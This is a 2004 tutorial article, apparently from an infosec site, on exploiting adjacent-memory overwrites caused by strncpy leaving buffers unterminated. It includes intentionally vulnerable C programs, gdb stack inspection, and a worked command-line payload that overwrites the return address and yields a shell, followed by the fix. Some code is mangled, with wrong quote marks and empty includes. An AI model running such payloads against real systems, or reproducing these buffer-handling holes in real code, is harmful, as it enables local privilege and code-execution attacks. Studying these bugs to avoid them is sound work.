Cyber Security Expo
 
Adjacent Overwrite BUG by Daniel Hodson on 20/01/04

Overview of article:

This article is meant to be presented as an informative, step by step log of exploiting an adjacent memory overflow. It is aimed at those who have buffer overflow experience, and hopefully have knowledge of the organisation of the stack. An article has been posted in phrack magazine with a very good overview and introduction to this topic, I suggest you read that and use this text as a reference to theorys presented.
-------------------------------------
Volume 0xa Issue 0x38
05.01.2000
0x0e[0x10]
twitch
-------------------------------------

Character arrays are terminated with NULL bytes(0x00), they let the function know that the end of the buffer has been reached, and to stop reading at that point.

Q. If an array has no NULL byte, how does it know when to end?
A. It does not know when to end, it will continue reading from memory until a NULL byte is encounted or a seg fault occurs.

Q. How can this knowledge be incorporated into an exploitable situation?
A. Let me copy you passages from three "secure" functions man pages:

NAME: strncpy
SYNOPSIS: char *strncpy(char *dest, const char *src, size_t n);
INFO: The strncpy() function is similar, except that not more than n bytes of src are copied. Thus, if there is no null byte among the first n bytes of src, the result will not be null- terminated.

In the case where the length of src is less than that of n, the remainder of dest will be padded with nulls.

NAME: fprintf && sprintf
SYNOPSIS: int fprintf(FILE *stream, const char *format, ...); int sprintf(char *str, const char *format, ...);
INFO: Upon successful return, these functions return the number of characters printed (not includ- ing the trailing '\0' used to end output to strings). The functions snprintf and vsnprintf do not write more than size bytes (including the trailing '\0'). If the output was trun- cated due to this limit then the return value is the number of characters (not including the trailing '\0') which would have been written to the final string if enough space had been available. Thus, a return value of size or more means that the output was truncated. (See also below under NOTES.) If an output error is encountered, a negative value is returned.

strncpy notes: As you can see, NULL bytes are very important, now if we read the important part of strncpy, absorb this information: If we have a buffer of 100 characters, and are copying to a buffer of 100 characters, it will NOT be NULL terminated, this can arise in errors later on. On the other hand, if we have a buffer of 99 characters, and are copying to a buffer of 100 characters, that extra n bytes will be NULL terminated.

fprintf and sprintf notes: We know that the man page is talking about the return value, but it gives us the information we need: Upon successful return, these functions return the number of characters printed (not includ- ing the trailing '\0' used to end output to strings). This is telling us, that they use a NULL byte to terminate their output strings or to determine the end of their strings.

From these three functions and our new knowledge, lets write up a program that will: Accept two user inputs, copy one input to a buffer, and print out the copied buffer.

//--------------vuln to adjacent memory overwrite: DSR
#include 
#include 

int main(int argc, char **argv)
{
     char copy_buff[263];
     char exploit_string[1024];
     char vuln_array[256];

     if(argc <= 2){
          printf('Usage: %s  .\n', argv[0]);
          exit(0);}

     strncpy(vuln_array, argv[1], sizeof(vuln_array));
     strncpy(exploit_string, argv[2], sizeof(exploit_string));
     
     sprintf(copy_buff, 'MSG: %s\n', vuln_array);
     printf('%s\n', copy_buff);
     return(0);
}
//-------------------------------------------end of example.

(The large buffers seem to get rid of junk between arrays. [those junk characters are usually pointers to something])

This looks seemingly harmless, I mean we are using strncpy, so our buffers arent going to overflow. We can safely use the sprintf function without worry because strncpy did all the checking we needed.

Uh OH, armed with what we know, we can exploit this to our advantage. Knowing that strncpy will copy all of the buffer to the very last byte, we can essentially write 256 characters into argv[1] in turn overwriting where a NULL byte should be placed, and leaving the sprintf function vulnerable to an overflow. Our stack knowledge must come into play arounnnnnnnd.... NOW!

If we have two character arrays:

char buffer1[] = "hello";
char buffer2[] = "goodbye;

When it is compiled, the order of the buffers should look a little something like:

[Upper memory/top of stack]
buffer2[0] = 'g';
buffer2[1] = 'o';
buffer2[2] = 'o';
buffer2[3] = 'd';
buffer2[4] = 'b';
buffer2[5] = 'y';
buffer2[6] = 'e';
buffer2[7] = '\0'; <-- NULL BYTE
buffer1[0] = 'h';
buffer1[1] = 'e';
buffer1[2] = 'l';
buffer1[3] = 'l';
buffer1[4] = 'o';
buffer1[5] = '\0';  <-- NULL BYTE
... etc

The stack grows down, so we can be safe that our goodbye buffer will always be above hello. Hence, when we are overwriting buffer2's NULL byte, the next set of data it will be reading from is buffer1. So if we have a look at our vulnerable programs declaration of arrays: char exploit_string[1024]; char vuln_array[256]; We are overwriting vuln_array's NULL byte leading us directly into exploit_string array, how fortunate for us ;)

Im just going to take a detour here to show you how we figured out the ordering of variables on the stack:

//------------example1.c-------------
#include 

int main(void)
{
   char buffer1[] = 'hello';
   char buffer2[] = 'goodbye';
   char buffer3[] = 'greetings';
   printf('buffer1: %p\n', buffer1);
   printf('buffer2: %p\n', buffer2);
   printf('buffer3: %p\n', buffer3);
   return(0);
}
//----------------------------------

mercy@cia:~$ gcc example1.c -o example1
mercy@cia:~$ ./example1
buffer1: 0xbffffad0
buffer2: 0xbffffac8
buffer3: 0xbffffab0
mercy@cia:~$ gdb -q example1
(gdb) disass main
....
0x80483b6 :   leave
(gdb) break *0x80483b6
(gdb) r
Starting program: /home/mercy/example1 
buffer1: 0xbffffad0
buffer2: 0xbffffac8
buffer3: 0xbffffab0

Breakpoint 1, 0x080483b6 in main ()
(gdb) x/s 0xbffffab0		<-- BUFFER3
0xbffffab0:      'greetings'
(gdb) 
0xbffffaba:      '\022'
(gdb) 
0xbffffabc:      'ţ│\025'
(gdb) 
0xbffffac0:      '\001'
..
0xbffffac8:      'goodbye'      <-- BUFFER2
(gdb) 
0xbffffad0:      'hello'	<-- BUFFER1

This shows us the way the variables were pushed onto the stack, and the way the buffers will end if no NULL byte has terminated them.
If we overwrite buffer2's(goodbye) Null byte the next local var it will hit is buffer1(hello). (x/(n)bc address) -- this will show you each n char's separetely incase you would like to see the Null Bytes.

mercy@cia:~$ cat > example2.c
//------------example1.c-------------
#include 

int main(void)
{
   char buffer1[] = 'hello';
   char buffer2[] = 'goodbye';
   char buffer3[] = 'greetings';
   buffer2[strlen(buffer2)] = 'B';
   printf('%s\n', buffer2);
   return(0);
}
//----------------------------------
mercy@cia:~$ gcc example2.c -o example2
mercy@cia:~$ ./example2
goodbyeBhello
mercy@cia:~$ 

And that is the end of our little detour, hope this may have cleared the organisation of variables on the stack in your mind.

Lets look at how we are exploiting this program:

1. Overwrite vuln_array's Null Byte with 256 bytes of data.
2. Store return address in exploit_string + 12 (12 may be replaced with n bytes distance)
3. sprintf function copys into copy_buff array, terminating at exploit_string's NULL byte.
4. overflow will occur because exploit_string's NULL byte exceeds copy_buffs array size.
5. Jump to ret addr. which will hold our shellcode.
6. Shellcode runs and we are in business.

Why are we storing our ret. addr in exploit_string + 12? simply because:
copy_buff is 264 bytes long.
vuln_array is 256 bytes long.
The difference is 8 bytes, + 4 bytes for ebp = 12, + 4 more to overwrite eip.
(Please note that it wont be + 12 on all systems, depending on the junk after buffers and registers, it may be more, on our RH8.0 system it was 24 bytes.)

[---log
0xbffffc18:      '\220' , '1└Phn/shh//bi\211Ń\215T$\bPS\215\f$░\v═\200X¬\022Bđó\022B\030ű ┐Y\220\004\b╚«'
(gdb) q
[mercy@dtors mercy]$ ./tut
Usage: ./tut  .
[mercy@dtors mercy]$ ./tut `perl -e'print 'A' x 256'` `perl -e'print 'B' x 23'``printf '\x18\xfc\xff\xbf'`
MSG: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABB
BBBBBBBBBBBBBBBBBBBBBŘ ┐

sh-2.05$ 

[---end

VIOLA!
We have just successfully exploited that "secure" application armed with a bit of knowledge, and the will to experiment. This technique is not hard to learn or to spot for that matter, and can easily be prevented with copying [ n - 1 ], for example:

strncpy(vuln_array, argv[1], sizeof(vuln_array) - 1);
strncpy(exploit_string, argv[2], sizeof(exploit_string) - 1);

Would append the rest of the array (1 byte) with a NULL byte, preventing any such attack from taking place, and making a quality product for the users of software.

As you safely experiment with these type of BUGS, you will see they are more common than most people recognise, always read up on your functions and have a firm understanding of the workings before deciding to use them and release a secure product.

I will conclude this article with a vulnerable program for you to exploit, take your time and do some research. You may contact me at: mercy@dtors.net OR irc.dtors.net:6667 (#dtors) Or have a look at my website for revised articles: http://mercy.dtors.net

//-----------------------------------------------------------------
/* Simple illustration of a copy function that requires a NULL byte to terminate copying. */
/* Please note: Varying situations and modification of functions allow this type of bug   */
/* to occur. Make sure to audit every function with a mind of how it may be exploited.    */
//-----------------------------------------------------------------

#include 
#include 
#include 
#include 

int copy_string(char *dest, char *src)
{
     int len, loop;
     len = strlen(src) + 1;
     for(loop = 0; loop < len; loop++)
     {
            dest[loop] = src[loop];
      }
      return len;
}

int main(int argc, char **argv)
{
     char address[] = '0wn3d?';
     char name[256];
     char copied[256];
     int ret_val, size;

     size = sizeof(name);

     strncpy(name, argv[1], sizeof(name));
 
     if((copy_string(copied, name)) <= size){
            fprintf(stdout, 'Congradulations %s\nYou have won a new CAR!!\n', name);
            fprintf(stdout, 'This will be delivered to your current address: \n%s\n', address);
            fprintf(stdout, 'Within seven working days.\nThankyou.\n');
            exit(0);}
       
      if(strstr(name, address) != NULL){
             fprintf(stdout, 'IT appears we have been \'%s\' cappin.\nAborting.\n', address);
             exit(0);}

        fprintf(stdout, 'hmm...');
        return(-1); 

      printf('%s\n', copied);
}
//----------------------------------------------------------------------
Rate this article

All images, content & text (unless other ownership applies) are © copyrighted 2000 -  , Infosecwriters.com. All rights reserved. Comments are property of the respective posters.